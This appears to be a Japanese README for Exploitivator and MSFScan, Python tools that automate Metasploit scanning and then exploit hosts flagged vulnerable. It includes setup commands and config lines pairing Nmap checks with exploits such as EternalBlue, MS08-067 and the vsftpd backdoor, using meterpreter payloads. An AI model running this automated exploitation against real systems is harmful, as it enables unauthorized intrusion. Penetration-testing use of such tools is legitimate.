
Metasploitのスキャンとエクスプロイトを自動化
V2.0 - Python 3を使用するように修正
これはKaliでのみテストされています。
これはPython用のpymetasploit3モジュールに依存しています。詳細はこちらを参照してください: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
必要なKaliパッケージとRuby用のPostgreSQL gemをインストールします:
apt-get install postgresql libpq-dev git-core
gem install pg
pymetasploit3 Python 3モジュールの最新バージョンをインストールします:
pip3 install pymetasploit3
いずれかのスクリプトを実行する前に、msfconsoleをロードしてMSGRPCサービスを起動してください。 MSGRPCは、Metasploitで以下のようにmsfrpcdを使用して起動できます:
load msgrpc Pass=abc123 ServerHost=0.0.0.0 ServerPort=55552
スキャンおよび/またはエクスプロイトの結果は、Metasploitコンソールと出力ファイル(msf_scan_output.txtおよびexploitivator_output.txt)に表示されます。
MSFScanを使用して、ターゲットホストのグループに対して複数のMetasploitスキャンを実行します。 Exploitivatorを使用して、ターゲットホストのグループに対してNmapスクリプトスキャンを実行し、脆弱性が報告されたものを自動的にエクスプロイトします。
コマンドラインの使用法:
例: アプリケーションは次のように実行できます。ここで、'10.128.108.178'は攻撃マシンのIPアドレス、'hosts.txt'はターゲットホストのリスト、'msf'はMetasploit Postgresのユーザー名、'abc123'はMetasploit Postgresのパスワードです:
./exploitivator.py -l 10.128.108.178 -f hosts.txt -u msf -m abc123
コマンドラインの使用法:
./msf_scan.py filename
./msf_scan.py filename MSF_DB_Username MSF_DB_Password
例: アプリケーションは次のように実行できます。'hosts.txt'はターゲットホストのリスト、'msf'はMetasploit Postgresのユーザー名、'abc123'はMetasploit Postgresのパスワードです:
./msf_scan.py hosts.txt msf abc123
'hosts.txt'をターゲットホストのリストとして、スクリプトのデフォルトのMetasploit Postgresユーザー名(msf)とスクリプトのデフォルトのMetasploit Postgresパスワード(abc123)を使用して実行するには:
./msf_scan.py hosts.txt
両方のスクリプトは、必要なNmapおよびMetasploitのスキャンと攻撃の詳細を提供する設定ファイルに依存しています。
スクリプトは、'scan_types.cfg'という名前の設定ファイルを使用します。これには、ターゲットに対して実行するMetasploitスキャンのパスのリストが含まれています。 例:
auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/smb/smb_version
auxiliary/scanner/x11/open_x11
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/smb/smb_login
このスクリプトは2つの設定ファイル(exploitivator_scan.cfgとexploitivator.cfg)を使用します。1つはNmapスキャンとパラメータを指定するもの(exploitivator_scan.cfg)、もう1つはMetasploitペイロードとパラメータを指定するもの(exploitivator.cfg)です。 これらは '##' をセパレータとして使用し、以下の形式を持ちます。
exploitivator_scan.cfg:
[ラベル]##[Nmapコマンドラインパラメータ]##[ファイル出力用Nmapコマンドラインパラメータ]##[オプション - Nmapのgrep可能な出力を使用する場合に使用するgrepコマンド]
上記の形式において:
1) 最初のセクションは、スキャンをエクスプロイトにリンクするラベルです
2) 2番目のセクションは、実行するスキャンの種類(ポートやスクリプトなど)の詳細を指定するNmapコマンドラインの部分です
3) 3番目のセクションは、Nmap出力ファイルを定義するNmapコマンドラインの部分です(ExploitivatorはXMLまたはgrep可能なNmap出力を処理します)
4) オプションの4番目のセクションは、'.gnmap'ファイル内で脆弱なターゲットを識別するために使用するgrepコマンドです
以下にファイル内容の例を示します:
SMB_08-067##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms08-067.nse##-oX ms_08_067.xml
SMB_09-050##-p U:137,U:139,T:139,T:445 --script smb-vuln-cve2009-3103.nse##-oX ms_09_050.xml
SMB_10-054##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-054.nse##-oX ms_10_054.xml
SMB_10-061##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-061.nse##-oX ms_10_061.xml
SMB_17-010##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms17-010##-oX ms_17_010.xml
DistCC##-p 3632 -sSV##-oG distcc.gnmap##grep "3632\/open\/tcp\/\/distccd"
JavaRMI##-p 1099 -sSV##-oG javarmi.gnmap##grep "1099\/open\/tcp\/\/rmi
VSFTPBackDoor##-p 21 -sSV##-oG vsftp_backdoor.gnmap##grep "vsftpd 2.3.4"
exploitivator.cfg:
[ラベル]##[Metasploitエクスプロイトパス]##[オプション - Metasploitペイロードの詳細]
以下にファイル内容の例を示します:
SMB_08-067##exploit/windows/smb/ms08_067_netapi##windows/meterpreter/bind_tcp
SMB_09-050##exploit/windows/smb/ms09_050_smb2_negotiate_func_index##windows/meterpreter/bind_tcp
SMB_10-061##exploit/windows/smb/ms10_061_spoolss##windows/meterpreter/bind_tcp
SMB_17-010##exploit/windows/smb/ms17_010_eternalblue##windows/meterpreter/bind_tcp
DistCC##exploit/unix/misc/distcc_exec##cmd/unix/bind_ruby
JavaRMI##exploit/multi/misc/java_rmi_server##php/meterpreter/bind_tcp
VSFTPBackDoor##exploit/unix/ftp/vsftpd_234_backdoor##none
MSGRPCの起動と接続: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
RHOSTSを範囲ではなくファイルを使用するように設定: http://travisaltman.com/metasploit-set-rhosts-file/